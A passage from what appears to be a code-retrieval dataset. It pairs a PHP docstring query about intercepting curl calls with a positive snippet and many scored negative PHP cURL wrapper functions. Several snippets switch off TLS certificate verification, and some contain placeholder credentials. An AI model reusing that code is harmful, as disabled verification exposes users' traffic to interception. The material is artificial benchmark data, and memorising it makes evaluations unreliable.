"a48f04ef139aa238f94a331e5c98c7c6", "score": "0.483238", "text": "public function getMetadata() : ?iterable\n {\n return $this->metadata;\n }", "title": "" }, { "docid": "5cdd3f5a6bf2bca1c1b78507f3b81148", "score": "0.48270154", "text": "public function getMetadata($key = null);", "title": "" } ]
88bdf5a152df59df13b0687dbe8dfb49
Calls the intercepted curl method if library hook is disabled, otherwise the real one.
[ { "docid": "97cacde90b74fd1ec1972ea9d894cda0", "score": "0.5019832", "text": "public static function __callStatic($method, $args)\n {\n // Call original when disabled\n if (static::$status == self::DISABLED) {\n if ($method === 'curl_multi_exec') {\n // curl_multi_exec expects to be called with args by reference\n // which call_user_func_array doesn't do.\n return \\curl_multi_exec($args[0], $args[1]);\n }\n\n return \\call_user_func_array($method, $args);\n }\n\n if ($method === 'curl_multi_exec') {\n // curl_multi_exec expects to be called with args by reference\n // which call_user_func_array doesn't do.\n return self::curlMultiExec($args[0], $args[1]);\n }\n\n $localMethod = TextUtil::underscoreToLowerCamelcase($method);\n return \\call_user_func_array(array(__CLASS__, $localMethod), $args);\n }", "title": "" } ]
[ { "docid": "4ab8f3657e0112ce2ed432e225ca94de", "score": "0.5513392", "text": "function __doCurl($url, $method, $authorization, $query, $postFields, &$http_response) {\n\t$start = microtime(true);\n\t$curl_options = array(\n\t\tCURLOPT_URL => $url . ($query ? '?' . http_build_query($query) : ''),\n\t\tCURLOPT_SSL_VERIFYHOST => false,\n\t\tCURLOPT_SSL_VERIFYPEER => false,\n\t\tCURLOPT_RETURNTRANSFER => true,\n\t\tCURLOPT_FORBID_REUSE => true,\n\t\tCURLOPT_TIMEOUT => 60\n\t);\n\n\t$headers = array();\n\tif ($authorization != NULL)\n\t\t{\n\t\t$headers[$authorization] = $authorization;\n\t\t} //$authorization != NULL\n\n\n\n\t$curl_options[$method] = true;\n\tif ($postFields != NULL)\n\t\t{\n\t\t$curl_options[CURLOPT_POSTFIELDS] = $postFields;\n\t\t} //$postFields != NULL\n\n\tif (sizeof($headers) > 0)\n\t\t$curl_options[CURLOPT_HTTPHEADER] = $headers;\n\n\t$curl_handle = curl_init();\n\tcurl_setopt_array($curl_handle, $curl_options);\n\t$curl_result = curl_exec($curl_handle);\n\t$http_response = curl_getinfo($curl_handle, CURLINFO_HTTP_CODE);\n\t//print_r($http_response);\n\tcurl_close($curl_handle);\n\t$end = microtime(true);\n\tif (!$curl_result)\n\t\treturn NULL;\n\telse if ($http_response >= 400)\n\t\treturn NULL;\n\telse\n\t\treturn $curl_result;\n\t}", "title": "" }, { "docid": "95e04a62a603e27da7fa67c2e72ca5d6", "score": "0.5481683", "text": "private function curl_set_http_method () {\n curl_setopt($this->Connection, CURLOPT_CUSTOMREQUEST, $this->api_server_method);\n }", "title": "" }, { "docid": "5db190fd83a2744e6e9a4d6a723d5284", "score": "0.5247869", "text": "function CallAPI($method, $url, $data = false)\n{\n $curl = curl_init();\n\n switch ($method)\n {\n case \"POST\":\n curl_setopt($curl, CURLOPT_POST, 1);\n\n if ($data)\n curl_setopt($curl, CURLOPT_POSTFIELDS, $data);\n break;\n case \"PUT\":\n curl_setopt($curl, CURLOPT_PUT, 1);\n break;\n default:\n if ($data)\n $url = sprintf(\"%s?%s\", $url, http_build_query($data));\n }\n\n // Optional Authentication:\n // curl_setopt($curl, CURLOPT_HTTPAUTH, CURLAUTH_DIGEST);\n // curl_setopt($curl, CURLOPT_USERPWD, \"admin:1234\");\n\n curl_setopt($curl, CURLOPT_URL, $url);\n curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);\n\tcurl_setopt($curl, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.52 Safari/537.17');\n\t\n\t//Add the content headers\n\tcurl_setopt($curl, CURLOPT_HTTPHEADER, array(\n\t\t'Content-Type: Content-Type: application/x-www-form-urlencoded',\n\t\t'Content-Length: 0' \n\t));\n\t\n\t// curl_setopt($curl, CURLOPT_REFERER, 'https://www.domain.com/');\n\tcurl_setopt($curl, CURLOPT_AUTOREFERER, true); \n // curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);\n curl_setopt($curl, CURLOPT_VERBOSE, 1);\n\tcurl_setopt( $curl, CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V4);\n\tcurl_setopt($curl, CURLOPT_TIMEOUT_MS, 300000);\n $result = curl_exec($curl);\n\t \n\t\n\t/* DEBUG THE CURL */\n\t\n\t/*if(curl_errno($curl)){\n\t\techo 'Curl error: ' . curl_error($curl);\n\t}\n\techo 'Curl Info:';\n\tprint_r(curl_getinfo($curl));*/\n\n\tcurl_close($curl);\n\t\n return $result;\n}", "title": "" }, { "docid": "c56492c220d73a21943a118ac569ef5f", "score": "0.5246952", "text": "private function _curl_opts_method(): void {\n\t\t$returnHeaders = $this->wantHeaders();\n\t\t$is_head = $this->method() === HTTP::METHOD_HEAD;\n\t\tif ($is_head) {\n\t\t\t$returnHeaders = $this->setWantHeaders(true);\n\t\t\t$this->curl_opts[CURLOPT_NOBODY] = 1;\n\t\t}\n\t\tif ($returnHeaders) {\n\t\t\t$this->curl_opts[CURLOPT_HEADER] = 1;\n\t\t} else {\n\t\t\t$this->curl_opts[CURLOPT_HEADER] = 0;\n\t\t}\n\t}", "title": "" }, { "docid": "2268fdcc33d77c67950e14de78b45906", "score": "0.5228263", "text": "public function curlHandleGet();", "title": "" }, { "docid": "12c45833f851bb4ea3a0f816ab7c8842", "score": "0.5161224", "text": "public function _call(){\n\t\tswitch(strtolower($this->method)){\n\t\t\tcase \"delete\":\n\t\t\t//set options\n\t\t\t\t$data = json_encode($this->data);\n\t\t\t\tcurl_setopt($this->_connection, CURLOPT_URL, $this->_url);\n\t\t\t\tcurl_setopt($this->_connection, CURLOPT_POSTFIELDS, $data);\n\t\t\t\tcurl_setopt($this->_connection, CURLOPT_CUSTOMREQUEST, \"DELETE\");\n\t\t \t\tcurl_setopt($this->_connection, CURLOPT_RETURNTRANSFER, true);\n\t\t\t\tcurl_setopt($this->_connection, CURLOPT_PROXY, $this->proxy);\n\t\t\t\t$result = curl_exec($this->_connection);\n\t\t\t\tcurl_close($this->_connection);\n\t\t\tbreak;\n\t\t\tcase \"put\":\n\t\t\t\t//set options\n\t\t\t\t$data = json_encode($this->data);\n\t\t\t\tcurl_setopt($this->_connection, CURLOPT_URL, $this->_url);\n\t\t\t\tcurl_setopt($this->_connection, CURLOPT_CUSTOMREQUEST, \"PUT\");\n\t\t\t\tcurl_setopt($this->_connection, CURLOPT_POSTFIELDS, $data);\n\t\t \t\tcurl_setopt($this->_connection, CURLOPT_RETURNTRANSFER, true);\n\t\t\t\tcurl_setopt($this->_connection, CURLOPT_PROXY, $this->proxy);\n\t\t\t\t$result = curl_exec($this->_connection);\n\t\t\t\tcurl_close($this->_connection);\n\t\t\tbreak;\n\t\t\tcase \"patch\":\n\t\t\t\t//set options\n\t\t\t\t$data = json_encode($this->data);\n\t\t\t\tcurl_setopt($this->_connection, CURLOPT_URL, $this->_url);\n\t\t\t\tcurl_setopt($this->_connection, CURLOPT_CUSTOMREQUEST, \"PATCH\");\n\t\t\t\tcurl_setopt($this->_connection, CURLOPT_POSTFIELDS, $data);\n\t\t \t\tcurl_setopt($this->_connection, CURLOPT_RETURNTRANSFER, true);\n\t\t\t\tcurl_setopt($this->_connection, CURLOPT_PROXY, $this->proxy);\n\t\t\t\t$result = curl_exec($this->_connection);\n\t\t\t\tcurl_close($this->_connection);\n\t\t\tbreak;\n\t\t\tcase \"post\":\n\t\t\t //set options\n\t\t\t\tcurl_setopt($this->_connection, CURLOPT_URL, $this->_url);\n\t\t\t\tcurl_setopt($this->_connection, CURLOPT_POSTFIELDS, $this->data);\n\t\t \t\tcurl_setopt($this->_connection, CURLOPT_RETURNTRANSFER, true);\n\t\t\t\tcurl_setopt($this->_connection, CURLOPT_PROXY, $this->proxy);\n\t\t\t\t$result = curl_exec($this->_connection);\n\t\t\t\tcurl_close($this->_connection);\n\t\t\tbreak;\n\t\t\tcase \"get\":\n\t\t\t\tcurl_setopt($this->_connection, CURLOPT_URL, $this->_url . \"?\" . http_build_query($this->data));\n\t\t\t\tcurl_setopt($this->_connection, CURLOPT_RETURNTRANSFER, true);\n\t\t\t\tcurl_setopt($this->_connection, CURLOPT_SSL_VERIFYHOST, 0);\n\t\t\t\tcurl_setopt($this->_connection, CURLOPT_SSL_VERIFYPEER, 0);\n\t\t\t\tcurl_setopt($this->_connection, CURLOPT_PROXY, $this->proxy);\n\t\t\t\t$result = curl_exec($this->_connection);\n\t\t\t\tcurl_close($this->_connection);\n\t\t\tbreak;\n\t\t}//close the switch\n\t\treturn $result;\n\t}", "title": "" }, { "docid": "630f76eb21b925ddd9251e7677a46f97", "score": "0.51484466", "text": "protected function init(): void {\n //To start with, disable FOLLOWLOCATION since we'll handle it.\n curl_setopt($this->curlHandle, CURLOPT_FOLLOWLOCATION, false);\n\n curl_setopt($this->curlHandle, CURLOPT_RETURNTRANSFER, true);\n\n //Force IPv4, since this class isn't yet comptible with IPv6.\n $curlVersion = curl_version();\n if ($curlVersion[\"features\"] & CURLOPT_IPRESOLVE) {\n curl_setopt($this->curlHandle, CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V4);\n }\n }", "title": "" }, { "docid": "5a6b29d551bfed4e7460b259c4a4280e", "score": "0.5101851", "text": "public function __construct(array $curl_default_options = NULL) {\n \n if (!function_exists('curl_init')) {\n throw new MicroCURLException(\"PHP was not built with curl, rebuild PHP to use the curl class.\");\n }\n\n if (!empty($curl_default_options)) {\n $this->curl_default_options = $curl_default_options;\n };\n $this->curl_options = NULL;\n $this->curl_status = NULL;\n $this->wait_for_connections = PHP_INT_MAX;\n\n $this->curl_handle[] = curl_init();\n $this->set_multiple_options($this->curl_default_options);\n }", "title": "" }, { "docid": "912e03912d56d6c3c93319e58ab55a25", "score": "0.5090948", "text": "public function curlOn($url){\n\t\t$ch = curl_init($url);\n\t\t//Set options, I want to fail silently if I get a 404 page because I can't parse that\n\t\t// I want to follow anything I need to, and get the data as a string\n\t\tcurl_setopt($ch,CURLOPT_FAILONERROR,true);\n\t\tcurl_setopt($ch,CURLOPT_AUTOREFERER,true);\n\t\tcurl_setopt($ch,CURLOPT_RETURNTRANSFER,true);\n\t\t$out = curl_exec($ch);\n\t\t//free up resources\n\t\tcurl_close($ch);\n\t\t$this->apiRequests = $this->apiRequests + 1;\n\t\treturn $out;\n\t}", "title": "" }, { "docid": "3b2e18cf557e54338fc13b787adbaefc", "score": "0.5072002", "text": "private function initCurl() {\r\n $this->curl = curl_init();\r\n $this->setOpt(CURLOPT_RETURNTRANSFER, true);\r\n $this->setOpt(CURLOPT_HEADER, true);\r\n $this->setOpt(CURLOPT_HTTPHEADER, array('Content-Type: application/json', $this->token));\r\n }", "title": "" }, { "docid": "dda2cdc00c4b413a535962def8b6ce36", "score": "0.50617105", "text": "protected function initCurl()\n {\n $payload = ($this->method === 'GET') ?\n http_build_query($this->payload) : json_encode($this->payload);\n\n if ($this->debug) {\n fwrite(STDOUT, 'Request URI: ' . $this->getUrl() . PHP_EOL);\n fwrite(STDOUT, 'Request Method: ' . $this->method . PHP_EOL);\n fwrite(STDOUT, 'Request Payload: ' . $payload . PHP_EOL);\n }\n\n // If this is a GET request append query to the end of the url\n if ($this->method === 'GET') {\n $this->client->init($this->getUrl() . '?' . $payload);\n return;\n }\n\n // Assume all other requests are POST and set fields accordingly\n $this->client->init($this->getUrl());\n $this->client->setOpt(CURLOPT_POSTFIELDS, $payload);\n $this->client->setOpt(CURLOPT_CUSTOMREQUEST, $this->method);\n }", "title": "" }, { "docid": "3ab6d2831024d34786e690649d759902", "score": "0.50456417", "text": "public function dummy_hook_function(){}", "title": "" }, { "docid": "db2f9410f057b8ffd24c789909d5a5fa", "score": "0.50401926", "text": "protected function _initCurlHanlde($force=false)\n {\n if ($force || !$this->_curlHandle) {\n if ($this->_curlHandle) curl_close($this->_curlHandle);\n $this->_curlHandle = curl_init();\n if (!$this->_curlHandle) {\n /**\n *@uses Parsonline_ZF_Soap_Client_Exception \n */\n require_once('Parsonline/ZF/Soap/Client/Exception.php');\n throw new Parsonline_ZF_Soap_Client_Exception(\"failed to initialize a cURL handler\");\n }\n if ( !curl_setopt($this->_curlHandle, CURLOPT_RETURNTRANSFER, true) ) {\n /**\n *@uses Parsonline_ZF_Soap_Client_Exception \n */\n require_once('Parsonline/ZF/Soap/Client/Exception.php');\n throw new Parsonline_ZF_Soap_Client_Exception(\"failed to set options for cURL handler to return transfer results\");\n }\n if ( !curl_setopt($this->_curlHandle, CURLOPT_UNRESTRICTED_AUTH, true) ) {\n /**\n *@uses Parsonline_ZF_Soap_Client_Exception \n */\n require_once('Parsonline/ZF/Soap/Client/Exception.php');\n throw new Parsonline_ZF_Soap_Client_Exception(\"failed to set options for cURL handler to keep sending of credentials on follow\");\n }\n }\n return $this->_curlHandle;\n }", "title": "" }, { "docid": "45caae2ef49d19e4513a543179d42f9f", "score": "0.49969876", "text": "public function __wakeup()\n\t{\n\t\tif (!is_resource($this->handler))\n\t\t\t$this->handler = curl_init();\n\t}", "title": "" }, { "docid": "d6ef88d807c5b18cadf313fff782d317", "score": "0.4988868", "text": "public function curlHandleCreate();", "title": "" }, { "docid": "873fac676347eb8d1296454e4fe1da87", "score": "0.49440327", "text": "function call($which)\n\t{\n\t\t// Reset Our Variables\n\t\t$this->end_script = FALSE;\n\t\t$this->last_call = FALSE;\n\n\t\t// Anything to Do Here?\n\t\tif ( ! isset($this->extensions[$which]))\n\t\t{\n\t\t\treturn;\n\t\t}\n\n\t\tif (ee()->config->item('allow_extensions') != 'y')\n\t\t{\n\t\t\treturn;\n\t\t}\n\n\t\tif ($this->in_progress == $which)\n\t\t{\n\t\t\treturn;\n\t\t}\n\n\t\t$this->in_progress = $which;\n\n\t\tee()->load->library('addons');\n\t\tee()->addons->is_package('');\n\n\t\t// Retrieve arguments for function\n\t\t$args = array_slice(func_get_args(), 1);\n\n\t\t// Go through all the calls for this hook\n\t\tforeach ($this->extensions[$which] as $priority => $calls)\n\t\t{\n\t\t\tforeach ($calls as $class => $metadata)\n\t\t\t{\n\t\t\t\t$this->call_class($class, $which, $metadata, $args);\n\n\t\t\t\t// A ee()->extensions->end_script value of TRUE means that the\n\t\t\t\t// called method wishes us to stop the calling of the main\n\t\t\t\t// script. In this case, even if there are methods after this\n\t\t\t\t// one for the hook we still stop the script now because\n\t\t\t\t// extensions with a higher priority call the shots and thus\n\t\t\t\t// override any extensions with a lower priority.\n\t\t\t\tif ($this->end_script === TRUE)\n\t\t\t\t{\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Have to keep breaking since break only accepts parameters as of\n\t\t\t// PHP 5.4.0\n\t\t\tif ($this->end_script === TRUE)\n\t\t\t{\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\t$this->in_progress = '';\n\t\treturn $this->last_call;\n\t}", "title": "" }, { "docid": "f24024ba2d7ba9b7475d6721adb87568", "score": "0.49405685", "text": "function CallAPI($method, $url, $data = false)\n{\n $curl = curl_init();\n\n switch ($method)\n {\n case \"POST\":\n curl_setopt($curl, CURLOPT_POST, 1);\n\n if ($data)\n curl_setopt($curl, CURLOPT_POSTFIELDS, $data);\n break;\n case \"PUT\":\n curl_setopt($curl, CURLOPT_PUT, 1);\n break;\n default:\n if ($data)\n $url = sprintf(\"%s?%s\", $url, http_build_query($data));\n }\n\n curl_setopt($curl, CURLOPT_URL, $url);\n curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);\n\n $result = curl_exec($curl);\n\n curl_close($curl);\n\n return $result;\n}", "title": "" }, { "docid": "825a8beccc7f983ca230622775d8fb9e", "score": "0.49276462", "text": "protected function _beforeApiCallService(): void { }", "title": "" }, { "docid": "ed6f3b7119addd90f507710636056411", "score": "0.4927217", "text": "function http($url, $method, $postfields = NULL)\n\t{\n\t\t$this->http_info = [];\n\t\t$ci = curl_init();\n\t\t/* Curl settings */\n\t\t$prx = DI::config()->get('system', 'proxy');\n\t\tif (strlen($prx)) {\n\t\t\tcurl_setopt($ci, CURLOPT_HTTPPROXYTUNNEL, 1);\n\t\t\tcurl_setopt($ci, CURLOPT_PROXY, $prx);\n\t\t\t$prxusr = DI::config()->get('system', 'proxyuser');\n\t\t\tif (strlen($prxusr)) {\n\t\t\t\tcurl_setopt($ci, CURLOPT_PROXYUSERPWD, $prxusr);\n\t\t\t}\n\t\t}\n\t\tcurl_setopt($ci, CURLOPT_USERAGENT, $this->useragent);\n\t\tcurl_setopt($ci, CURLOPT_CONNECTTIMEOUT, $this->connecttimeout);\n\t\tcurl_setopt($ci, CURLOPT_TIMEOUT, $this->timeout);\n\t\tcurl_setopt($ci, CURLOPT_RETURNTRANSFER, TRUE);\n\t\tcurl_setopt($ci, CURLOPT_HTTPHEADER, ['Expect:']);\n\t\tcurl_setopt($ci, CURLOPT_SSL_VERIFYPEER, $this->ssl_verifypeer);\n\t\tcurl_setopt($ci, CURLOPT_HEADERFUNCTION, [$this, 'getHeader']);\n\t\tcurl_setopt($ci, CURLOPT_HEADER, FALSE);\n\n\t\tswitch ($method) {\n\t\t\tcase 'POST':\n\t\t\t\tcurl_setopt($ci, CURLOPT_POST, TRUE);\n\t\t\t\tif (!empty($postfields)) {\n\t\t\t\t\tcurl_setopt($ci, CURLOPT_POSTFIELDS, $postfields);\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\tcase 'DELETE':\n\t\t\t\tcurl_setopt($ci, CURLOPT_CUSTOMREQUEST, 'DELETE');\n\t\t\t\tif (!empty($postfields)) {\n\t\t\t\t\t$url = \"{$url}?{$postfields}\";\n\t\t\t\t}\n\t\t}\n\n\t\tcurl_setopt($ci, CURLOPT_URL, $url);\n\t\t$response = curl_exec($ci);\n\t\t$this->http_code = curl_getinfo($ci, CURLINFO_HTTP_CODE);\n\t\t$this->http_info = array_merge($this->http_info, curl_getinfo($ci));\n\t\t$this->url = $url;\n\t\tcurl_close($ci);\n\t\treturn $response;\n\t}", "title": "" }, { "docid": "9a2e3c4efea9ea622b862689e2b5e085", "score": "0.4870045", "text": "protected function curl($url, $method, $postdata=NULL ){\n\t\t$ch = curl_init();\n\t\n\t\tcurl_setopt($ch, CURLOPT_URL, $url);\n\t\tcurl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);\n\t\tcurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n\t\tif($method == \"POST\" && $postdata!=NULL)\n\t\t\tcurl_setopt($ch, CURLOPT_POSTFIELDS, $postdata);\n\t\t$output = curl_exec($ch);\n\t\tcurl_close($ch);\n\t\t\n\t\tif($output){\n\t\t\treturn $output;\n\t\t} else {\n\t\t\treturn FALSE;\n\t\t}\n\t}", "title": "" }, { "docid": "4f9f5c9cde12f5f8fabd70d5468359a6", "score": "0.48489726", "text": "private function http($url, $method = \"GET\", $postfields = NULL)\r\n {\r\n $this->http_info = array();\r\n $handle = curl_init();\r\n /* Curl settings */\r\n curl_setopt($handle, CURLOPT_HEADER, FALSE);\r\n curl_setopt($handle, CURLOPT_RETURNTRANSFER, TRUE);\r\n //curl_setopt($handle, CURLOPT_PROTOCOLS, \"CURLPROTO_HTTPS\");\r\n curl_setopt($handle, CURLOPT_HTTPHEADER, array('Expect:'));\r\n curl_setopt($handle, CURLOPT_SSL_VERIFYPEER, $this->verifypeer);\r\n curl_setopt($handle, CURLOPT_CONNECTTIMEOUT, $this->connecttimeout);\r\n curl_setopt($handle, CURLOPT_TIMEOUT, $this->timeout);\r\n curl_setopt($handle, CURLOPT_USERAGENT, $this->useragent);\r\n curl_setopt($handle, CURLOPT_HEADERFUNCTION, array($this, 'getHeader'));\r\n\r\n if ($this->proxy_settings['behind_proxy']) {\r\n curl_setopt($ci, CURLOPT_PROXY, $this->proxy_settings['host']);\r\n curl_setopt($ci, CURLOPT_PROXYPORT, $this->proxy_settings['port']);\r\n curl_setopt($ci, CURLOPT_PROXYUSERPWD, \"{$this->proxy_settings['user']}:{$this->proxy_settings['pass']}\");\r\n curl_setopt($ci, CURLOPT_PROXYTYPE, $this->proxy_settings['type']);\r\n curl_setopt($ci, CURLOPT_PROXYAUTH, $this->proxy_settings['auth']);\r\n }\r\n\r\n switch ($method) {\r\n case self::$METHOD_POST:\r\n curl_setopt($handle, CURLOPT_POST, TRUE);\r\n if (!empty($postfields)) {\r\n curl_setopt($handle, CURLOPT_POSTFIELDS, $postfields);\r\n }\r\n break;\r\n case self::$METHOD_DELETE:\r\n curl_setopt($handle, CURLOPT_CUSTOMREQUEST, 'DELETE');\r\n if (!empty($postfields)) {\r\n $url .= \"?\" . OAuthUtils::build_http_query($postfields);\r\n }\r\n break;\r\n }\r\n curl_setopt($handle, CURLOPT_URL, $url);\r\n $response = curl_exec($handle);\r\n $this->http_code = curl_getinfo($handle, CURLINFO_HTTP_CODE);\r\n $this->http_info = array_merge($this->http_info, curl_getinfo($handle));\r\n $this->url = $url;\r\n curl_close($handle);\r\n return $response;\r\n }", "title": "" }, { "docid": "24db9a7b0e81a61035e85ccfa0d7dd47", "score": "0.48378533", "text": "function init_curl () {\n $this->curl = curl_init();\n curl_setopt( $this->curl, CURLOPT_URL, $this->api_url );\n curl_setopt( $this->curl, CURLOPT_RETURNTRANSFER, 1 );\n curl_setopt( $this->curl, CURLOPT_USERAGENT, 'Customer_' . $this->customer_key );\n\n curl_setopt( $this->curl, CURLOPT_CONNECTTIMEOUT, 1 );\n// curl_setopt( $this->curl, CURLOPT_CONNECTTIMEOUT_MS, 1000 );\n curl_setopt( $this->curl, CURLOPT_TIMEOUT, 2 );\n// curl_setopt( $this->curl, CURLOPT_TIMEOUT_MS, 2000 );\n }", "title": "" }, { "docid": "88f60b623998eee92a187a3e29e7d0a6", "score": "0.48342037", "text": "private function _callCurl()\n\t{\n\t\t$data\t=\tcurl_exec($this->_curl);\n\n\t\t$this->responseData['response']\t=\t$data;\n\n\t\t$getInfos\t=\t[\n\t\t\t'effectiveURL'\t\t\t=>\tCURLINFO_EFFECTIVE_URL,\n\t\t\t'httpCode'\t\t\t\t=>\tCURLINFO_HTTP_CODE,\n\t\t\t'filetime'\t\t\t\t=>\tCURLINFO_FILETIME,\n\t\t\t'totalTime'\t\t\t\t=>\tCURLINFO_TOTAL_TIME,\n\t\t\t'nameLookupTime'\t\t=>\tCURLINFO_NAMELOOKUP_TIME,\n\t\t\t'connectTime'\t\t\t=>\tCURLINFO_CONNECT_TIME,\n\t\t\t'pretransferTime'\t\t=>\tCURLINFO_PRETRANSFER_TIME,\n\t\t\t'startTransferTime'\t\t=>\tCURLINFO_STARTTRANSFER_TIME,\n\t\t\t'redirectTime'\t\t\t=>\tCURLINFO_REDIRECT_TIME,\n\t\t\t'sizeUpload'\t\t\t=>\tCURLINFO_SIZE_UPLOAD,\n\t\t\t'sizeDownload'\t\t\t=>\tCURLINFO_SIZE_DOWNLOAD,\n\t\t\t'speedDownload'\t\t\t=>\tCURLINFO_SPEED_DOWNLOAD,\n\t\t\t'speedUpload'\t\t\t=>\tCURLINFO_SPEED_UPLOAD,\n\t\t\t'headerSize'\t\t\t=>\tCURLINFO_HEADER_SIZE,\n\t\t\t'headerOut'\t\t\t\t=>\tCURLINFO_HEADER_OUT,\n\t\t\t'requestSize'\t\t\t=>\tCURLINFO_REQUEST_SIZE,\n\t\t\t'contentLengthDownload'\t=>\tCURLINFO_CONTENT_LENGTH_DOWNLOAD,\n\t\t\t'contentLengthUpload'\t=>\tCURLINFO_CONTENT_LENGTH_UPLOAD,\n\t\t\t'contentType'\t\t\t=>\tCURLINFO_CONTENT_TYPE\n\t\t];\n\n\t\tforeach($getInfos as $key => $opt)\n\t\t{\n\t\t\t$info\t=\tcurl_getinfo($this->_curl, $opt);\n\n\t\t\t$this->responseData[$key]\t=\t$info;\n\t\t}\n\n\t\tcurl_close($this->_curl);\n\t}", "title": "" }, { "docid": "7b506e027acf6c0b230db365acc039bf", "score": "0.48278835", "text": "function curlInstalled() {\n\t\tif (!function_exists('curl_init')) return false;\n\t\telse return true;\n\t}", "title": "" }, { "docid": "7b506e027acf6c0b230db365acc039bf", "score": "0.48278835", "text": "function curlInstalled() {\n\t\tif (!function_exists('curl_init')) return false;\n\t\telse return true;\n\t}", "title": "" }, { "docid": "f5a3ea7d0d82ead3802fde16dfafa5f9", "score": "0.4825518", "text": "public function __invoke($url,$method=get,$data=null) {\n\t\t$callData=\\call_user_func_array(__NAMESPACE__.'\\apiResult::merge', \\array_slice(\\func_get_args(),2));\n\t\treturn $this->$method($this->sanitizeUrl($url),$callData);\n\t}", "title": "" }, { "docid": "809b9d724b53fa1f6324cc071563b59f", "score": "0.482192", "text": "private function hasCurl() {\n return function_exists('curl_init');\n }", "title": "" }, { "docid": "b297553940a1d41736c569eab935231e", "score": "0.48154402", "text": "function setUseCURL($use) {\n\t\t$this->debug(\"setUseCURL($use)\");\n\t\t$this->use_curl = $use;\n\t}", "title": "" }, { "docid": "3937dbf913b92a31c30f146a5d199dc0", "score": "0.48131257", "text": "function callAPI($method, $url)\n {\n $data = array();\n $curl = curl_init();\n curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);\n curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0);\n\n\n\n switch ($method)\n {\n case \"POST\":\n curl_setopt($curl, CURLOPT_POST, 1);\n\n if ($data)\n curl_setopt($curl, CURLOPT_POSTFIELDS, $data);\n break;\n\n case \"PUT\":\n curl_setopt($curl, CURLOPT_PUT, 1);\n break;\n\n case \"PATCH\": \n\n $headers = array('Content-Type: application/json-patch+json');\n\n curl_setopt($curl, CURLOPT_CUSTOMREQUEST, 'PATCH'); \n curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);\n curl_setopt($curl, CURLOPT_POSTFIELDS, $data); \n \n break;\n\n default:\n if ($this->_data)\n $url = sprintf(\"%s?%s\", $url, http_build_query($data));\n\n }\n\n // Optional Authentication:\n curl_setopt($curl, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);\n curl_setopt($curl, CURLOPT_USERPWD, $this->getLogin().\":\".$this->getPassword());\n\n curl_setopt($curl, CURLOPT_URL, $url);\n curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);\n\n $result = curl_exec($curl);\n\n curl_close($curl);\n\n\n return $result; \n }", "title": "" }, { "docid": "30136f2e5b2453e34d1eb4ace077ff6c", "score": "0.48011187", "text": "function curlRequest($url, $method, $data = null, $access_token = '')\n{\n\t$handle = curl_init();\n\tcurl_setopt($handle, CURLOPT_URL, $url);\n\tif ($access_token != '') {\n\t\t# headers and data (this is API dependent, some uses XML)\n\t\tif ($method == 'PUT') {\n\t\t$headers = array(\n\t\t\t\t\t\t'Accept: application/json',\n\t\t\t\t\t\t'Content-Type: application/json',\n\t\t\t\t\t\t'Authorization: '.$access_token,\n\t\t\t\t\t\t);\n\t\t} else {\n\t\t\t$headers = array(\n\t\t\t\t\t\t'Authorization: '.$access_token\n\t\t\t\t\t\t);\n\t\t}\n\t\tcurl_setopt($handle, CURLOPT_HTTPHEADER, $headers);\n\t} \n\t\n\t\n\tcurl_setopt($handle, CURLOPT_RETURNTRANSFER, true);\n\tcurl_setopt($handle, CURLOPT_SSL_VERIFYHOST, false);\n\tcurl_setopt($handle, CURLOPT_SSL_VERIFYPEER, false);\n\t//curl_setopt($handle, CURLOPT_USERAGENT, \"Mozilla/4.0 (compatible;)\"); \n\tcurl_setopt($handle, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']); \n\t\n\tswitch($method) {\n\t\tcase 'GET':\n\t\tbreak;\n\t\tcase 'POST':\n\t\tcurl_setopt($handle, CURLOPT_POST, true);\n\t\tcurl_setopt($handle, CURLOPT_POSTFIELDS, $data);\n\t\tbreak;\n\t\tcase 'PUT':\n\t\tcurl_setopt($handle, CURLOPT_CUSTOMREQUEST, 'PUT');\n\t\tcurl_setopt($handle, CURLOPT_POSTFIELDS, $data);\n\t\tbreak;\n\t\tcase 'DELETE':\n\t\tcurl_setopt($handle, CURLOPT_CUSTOMREQUEST, 'DELETE');\n\t\tbreak;\n\t}\n\t$response = curl_exec($handle);\n\t/*if($_SERVER['REMOTE_ADDR'] == '172.21.4.130'){\n\t\techo'<div style=\"width:200px\"><pre>';print_r($response);echo'</pre></div>';\n\t}*/\n\t\n\t$response = json_decode($response, true);\n\treturn $response; \n}", "title": "" }, { "docid": "f912f9efe463658ab7529e2ce56f44a7", "score": "0.4781445", "text": "function CallAPI($method, $url, $data = false)\n{\n $curl = curl_init();\n\n switch ($method) {\n case \"POST\":\n curl_setopt($curl, CURLOPT_POST, 1);\n if ($data) {\n curl_setopt($curl, CURLOPT_POSTFIELDS, $data);\n }\n break;\n case \"PUT\":\n curl_setopt($curl, CURLOPT_PUT, 1);\n break;\n default:\n if ($data) {\n $url = sprintf(\"%s?%s\", $url, http_build_query($data));\n }\n }\n\n // Optional Authentication:\n curl_setopt($curl, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);\n curl_setopt($curl, CURLOPT_USERPWD, \"username:password\");\n\n curl_setopt($curl, CURLOPT_URL, $url);\n curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);\n\n $result = curl_exec($curl);\n\n curl_close($curl);\n\n return $result;\n}", "title": "" }, { "docid": "2040b0faf31e1865cb7132f3a3ba9178", "score": "0.47774628", "text": "protected function CURLInstalled() { \n return function_exists('curl_init') && function_exists('curl_setopt') && \n function_exists('curl_exec') && function_exists('curl_close');\n }", "title": "" }, { "docid": "7b4cbbfc343860e3fcd3b17ded355493", "score": "0.47716284", "text": "protected function curlExtensionInstalled()\n {\n if 